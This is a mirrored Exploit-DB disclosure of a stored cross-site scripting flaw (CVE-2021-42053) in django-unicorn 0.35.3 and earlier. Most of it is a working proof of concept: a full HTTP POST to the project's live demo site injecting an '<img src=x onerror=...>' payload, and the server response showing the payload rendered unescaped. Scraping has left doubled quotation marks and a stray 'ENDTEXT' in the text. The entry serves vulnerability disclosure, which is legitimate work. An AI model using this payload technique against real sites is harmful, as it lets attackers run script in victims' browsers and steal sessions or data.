django-unicorn 0.35.3 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 13 阅读

• 作者： Raven Security Associates
  日期： 2021-10-08
• 类别：

  • webapps
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/50393/

• # Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS) 
  # Date: 10/7/21
  # Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)
  # Software Link: https://pypi.org/project/django-unicorn/
  # Version: <= 0.35.3
  # CVE: CVE-2021-42053
  
  django-unicorn <= 0.35.3 suffers from a stored XSS vulnerability by improperly escaping data from AJAX requests.
  
  Step 1: Go to www.django-unicorn.com/unicorn/message/todo
  Step 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
  
  
  POC:
  
  POST /unicorn/message/todo HTTP/2
  Host: www.django-unicorn.com
  Cookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
  Content-Length: 258
  Sec-Ch-Ua: "";Not A Brand"";v=""99"", ""Chromium"";v=""94""
  Sec-Ch-Ua-Mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
  Content-Type: text/plain;charset=UTF-8
  Accept: application/json
  X-Requested-With: XMLHttpRequest
  X-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
  Sec-Ch-Ua-Platform: ""Linux""
  Origin: https://www.django-unicorn.com
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://www.django-unicorn.com/examples/todo
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  
  {""id"":""Q43GSmJh"",""data"":{""task"":"""",""tasks"":[]},""checksum"":""4ck2yTwX"",""actionQueue"":[{""type"":""syncInput"",""payload"":{""name"":""task"",""value"":""<img src=x onerror=alert(origin)>""}},{""type"":""callMethod"",""payload"":{""name"":""add""},""partial"":{}}],""epoch"":1633578678871}
  
  -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  
  HTTP/2 200 OK
  Date: Thu, 07 Oct 2021 03:51:18 GMT
  Content-Type: application/json
  X-Frame-Options: DENY
  X-Content-Type-Options: nosniff
  Referrer-Policy: same-origin
  Via: 1.1 vegur
  Cf-Cache-Status: DYNAMIC
  Expect-Ct: max-age=604800, report-uri=""https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct""
  Report-To: {""endpoints"":[{""url"":""https:\/\/a.nel.cloudflare.com\/report\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y""}],""group"":""cf-nel"",""max_age"":604800}
  Nel: {""success_fraction"":0,""report_to"":""cf-nel"",""max_age"":604800}
  Server: cloudflare
  Cf-Ray: 69a42b973f6a6396-ORD
  Alt-Svc: h3="":443""; ma=86400, h3-29="":443""; ma=86400, h3-28="":443""; ma=86400, h3-27="":443""; ma=86400
  
  {""id"": ""Q43GSmJh"", ""data"": {""tasks"": [""<img src=x onerror=alert(origin)>""]}, ""errors"": {}, ""checksum"": ""ZQn54Ct4"", ""dom"": ""<div unicorn:id=\""Q43GSmJh\"" unicorn:name=\""todo\"" unicorn:key=\""\"" unicorn:checksum=\""ZQn54Ct4\"">\n<form unicorn:submit.prevent=\""add\"">\n<input type=\""text\"" unicorn:model.lazy=\""task\"" placeholder=\""New task\"" id=\""task\""/>\n</form>\n<button unicorn:click=\""add\"">Add</button>\n<p>\n<ul>\n<li><img src=x onerror=alert(origin)></li>\n</ul>\n<button unicorn:click=\""$reset\"">Clear all tasks</button>\n</p>\n</div>\n"", ""return"": {""method"": ""add"", ""params"": [], ""value"": null}}"
  "ENDTEXT"